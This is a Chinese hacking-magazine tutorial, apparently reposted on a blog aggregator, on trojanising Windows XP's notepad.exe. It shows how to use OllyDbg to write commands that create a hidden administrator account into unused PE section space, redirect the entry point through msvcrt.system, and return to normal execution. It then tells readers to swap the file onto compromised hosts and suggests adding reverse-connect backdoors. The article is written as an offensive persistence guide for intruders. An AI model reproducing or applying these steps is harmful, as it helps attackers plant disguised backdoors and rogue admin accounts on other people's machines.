zoukankan      html  css  js  c++  java
  • 逆向工程打造隐蔽后门

    文章作者:孟方明[-273℃@EST](无敌最寂寞[E.S.T]) 信息来源:《黑客x档案》 序 如 果我现在问大家一个问题,入侵成功后我们该干什么?相信大家都会异口同声地回答:“装后门!”不错,为了保住胜利果实,我们总会四处寻找适合的后门。我们 的要求并不过分——体积小、功能强大、隐蔽性强。然而前两个要求还是比较容易实现的,最让后门作者头疼也让使用者无奈的就是隐蔽性了。这次我给大家带来的 就是另类的方法打造自己的隐蔽后门。 前置小知识 在继续本前我们需要先了解点必要的知识.在WIN32下使用的文件格式都是PE文件格式。PE文件是一个平面地址空间,所有代码和数据都被合并在一起,组成一个很大的结构。文件内容被分割成不同的区块(section,又称区段、节等),块中包含代码或数据,各个块按页边界来对齐,块没有大小限制,是一个连续的结构。 每一个区块都有不同的名字,这个名字用来表示区块的功能。磁盘文件中每个区块的大小必定等于磁盘对齐值的整数倍,而区块的实际代码或数据的大小不一定刚好这么多,所以在不足的地方一般以0x00来填充,这就是区块的间隙。而对我们这篇文章来说,这就是关键。我们就是在这块间隙上做文章,这块间隙我们称做“dead space”。 另外一个我们需要注意的问题就是在汇编中我们可以直接这样来调用一个函数: push 0 push "hello" push "hello" push 0 call user32.MessageBoxA 但是在机器码中我们不能直接push一个字符串,我们只能push这个字符串所在的地址。比如: 01007D80 . 68 65 6C 6C 6F>ASCII "hello",0 01007D86 00 DB 00 01007D87 00 DB 00 01007D88 00 DB 00 01007D89 00 DB 00 01007D8A 00 DB 00 01007D8B 00 DB 00 01007D8C 00 DB 00 01007D8D 00 DB 00 01007D8E 00 DB 00 01007D8F 00 DB 00 01007D90 6A 00 PUSH 0 01007D92 68 807D0001 PUSH notepad.01007D80 ;注意这里,我们push的是hello字符串所在的地址 01007D97 68 807D0001 PUSH notepad.01007D80 01007D9C 6A 00 PUSH 0 01007D9E E8 D3E6D276 CALL USER32.MessageBoxA 好了,需要提前了解的地方就这些,下面我们该进入正题了。 打造实战 先 简单说一下我们的思路,寻找一个系统自带的文件,然后使用反汇编调试工具在其“dead space”中添加我们的后门代码,然后对目标文件进行必要的修 改,使之运行的同时也运行我们的后门代码。下面我们以一个简单的实例为大家演示。目标文件我们定为系统自带的记事本上,为什么选择它呢?因为很多情况下大 家会打开txt文档,而txt文档默认的关联程序正是记事本。 OK!下面准备好我们的主角 OllyDebug 1.10b 汉化版。选择“文件”→“打开”找到c:\windows\system32\notepad.exe(我使用的是xp系统,其它系统大同小异,下面所有过程均以xp为平台讲述),打开后如图一。 大家注意到我用红框框起的那个地址吗?它被反黑显示,把它记住,这个就是程序的入口点。拖动代码窗口的滚动条,直到找到如图二所示的一长串“00”的地方,这个就是我前面提到过的“dead space”,我们将在这里添加我们自己的代码。 为了直观起见,我们就让程序简单地实现添加一个后门管理帐户的功能。实现此功能我们可以直接编程实 现(这样的方法是最好的,也是最隐蔽的),也可以使用系统自带的外部命令来实现比如net命令(这个方法最简单,但是在运行的时候会有个cmd窗口一闪而 过,隐蔽性太差),由于我写本篇文章的目的是为了向大家介绍一种方法,所以我们就以最简单的net命令方法来介绍。OK!回到olly上来,找到了 “dead pace”,我们随便找个地址如01007D76,鼠标左键单击然后向下拉选择一段(这里要注意的是你要选择足够多的空间来保存我们要输入的 命令),然后右键菜单选择“二进制”→“编辑”如图三。 我 们将在这里编辑我们要执行的命令“net user mfm /add” 和 “net localgroup administrators mfm /add”。我们分开来保存这两个命令(当然你完全可以用 “&&”把两个命令合成一个),如上图。确定后,出现如图五的情况。 似乎看不懂?没关系我们右键单击其代码然后选择“分析”→“分析代码”,或者直接按ctrl+A,如图六。 哈哈,这才是我们想要的嘛。记住它的起始地址01007D76,然后按照同样的方法添加第二条命令,最终添加的命令如图七。 同样记住第二条命令的起始地址01007D90。 要执行的命令都添加完了,下一步该是如何执行这些命令了。我们可以利用msvcrt.dll 中的system函数来执行我们的命令。一般我们都是这样使用system函数的: #include void main(void) { LoadLibrary("msvcrt.dll"); system("net user mfm /add"); } 那么我就得先看看notepad.exe是否加载了msvcrt.dll,如果没有加载的话我们还需要添加加载动态连接库的代码.按下olly工具栏的"E"按钮或者直接按alt+E呼出模块可执行模块窗口,如图八. 看样子是加载了,我们可以直接使用system函数了. 下面我们再从那些空间中任意选一个地址比如01007DD0(记住这个地址),鼠标双击该地址所在行的"DB 00"处或者直接按空格,调出汇编编辑窗口. 然后将保存我们要执行的第一条指令的地址压入堆栈,如图九. 然后依次写入如下指令: 01007E93 E8 AC01BF76 CALL msvcrt.system ;因为已经加载了msvcrt.dll,所以我可以直接调用 01007E98 68 907D0001 PUSH notepad.01007D90 ;这个地址就是我先前让大家保存的第二条命令的起始地址 01007E9D E8 A201BF76 CALL msvcrt.system 输入结果如图十。 下 面我要回到程序的入口处,右键单击任意代码处然后选择"前往"→"起源"回到程序入口处.现在我就要修改入口处的代码了,我们将其替换成一个跳转指令,跳 到我们的执行代码处,这样就可以执行我们的代码了.我们首先从入口处的代码往后多选几行然后右键选择"复制"→"到剪切板"把这几行代码备份一下(为什么 要备份呢?因为我们不知道在修改代码的时候会覆盖掉哪些代码,所以我们就备份一下那几行),然后粘贴到记事本里.如图十一. OK!我们来修改代码吧,双击入口处的"PUSH 70",出现汇编窗口,然后修改成"JMP 01007DDO"(这个地址熟悉吗?什么?忘了?仔细看看上面),确定后如图十二所示. 在"JMP 01007DD0" 代码上直接按回车或者选择右键菜单中的"跟随",看看是不是跳到我们的代码处了?这样当程序运行的话,一进入入口点就会跳转到我们的代码,但是这样看来 notepad.exe是不能正常运行了,因为跳转到我们的代码后就不会再去执行notepad.exe的代码了.这不是不打自招吗?那么我们还要继续修 改,使它能执行完我们的代码后再继续去执行notepad的代码. 我们找出先前我们备份的那段代码,对照着修改后的那些代码,不难发现修改后的代码把先前代码的以下两行给覆盖了,其它的完全一样: 01006AE0 > $ 6A 70 PUSH 70 01006AE2 . 68 88180001 PUSH notepad.01001888 那就好办了,我们只要在我们要执行代码的后面把以上两行添加上,然后再添加一条跳转指令,跳回到入口处的未修改代码处,这样就会继续执行notepad.exe了。说干就干,先将覆盖的代码添加好,如图十三。 然后回到程序入口处,记住第二个NOP指令的地址(第一个NOP指令也可以,就是不要用那个入口地址,否则就成了个死循环了)01006AE6。然后再回到我们要执行的指令处,在其末尾添加一行“JMP 01006AE6”,最终的完成代码如图十四。 代码我们都写好了,下面我们将修改后的程序dump到一个新的可执行文件里。如下操作:右键任意代码处选择“复制到可执行文件”→“全部修正”,如图十五。 在弹出的对话框中选择“全部复制”,然后会出现一个新的窗口,关闭这个窗口,会提示你是否保存,选择“是”出现保存文件对话框如图十六,保存后就大功告成了。 运行一下看看,屏幕闪了两次cmd窗口后记事本弹了出来(5555555,不能动态抓图,所以无法给大家展示这瞬间的美丽了~~~)。用net user看后,确实添加了一个管理员帐户mfm。实验成功! 总结 如 果你仔细点,会发现修改后的notepad和先前的那个大小依然一样。这是因为我们所添加的那些代码本身就是在notepad自身空间内的。将上面修改后 的notepad.exe覆盖肉鸡上的notepad.exe,只要他打开文本文件或者直接运行记事本都会先添加一个mfm帐户了。当然了,我添加的那些 代码并不实用,弹出的cmd窗口会非常显眼而引起怀疑。我们可以进一步优化这些代码,甚至添加一个开端口或者反向连接的后门都可以(只要宿主程序 “dead space”足够大就可以)。 可想而知,谁会去注意一个看上去是那么正常的程序呢?而实际上这个程序确实已经被我们修改过了。这篇文章作为一个思路给大家,剩下的就靠大家去发挥了。有问题的读者可以去X论坛讨论。 这个文章发出后,又很多读者都向我提出了很多问题。在此我感谢支持我的朋友们,本篇文章是在xp下实践成功的。在其他系统都大同小异,留给大家一个想象的空间。欢迎大家继续关注我将在x档案第三期发表的《逆向工程打造免杀后门》。
  • 相关阅读:
    注意事项
    org.apache.jsp.index_jsp
    部署 Web 项目 到 Deepin
    WEB项目打包
    IDEA开启JSP热部署
    16.【转载】Swagger2文档插件:常用注解及属性说明
    8.【原创】Spring Mvc配置Swagger+swagger-bootstrap-ui生成日志服务
    7.【原创】Spring Mvc自定义DispatcherServlet类,处理404异常
    12.【原创】ES6常用的新语法
    15.【转载】使用TortoiseGit,设置ssh方式连接git仓库
  • 原文地址:https://www.cnblogs.com/adodo1/p/4327090.html
Copyright © 2011-2022 走看看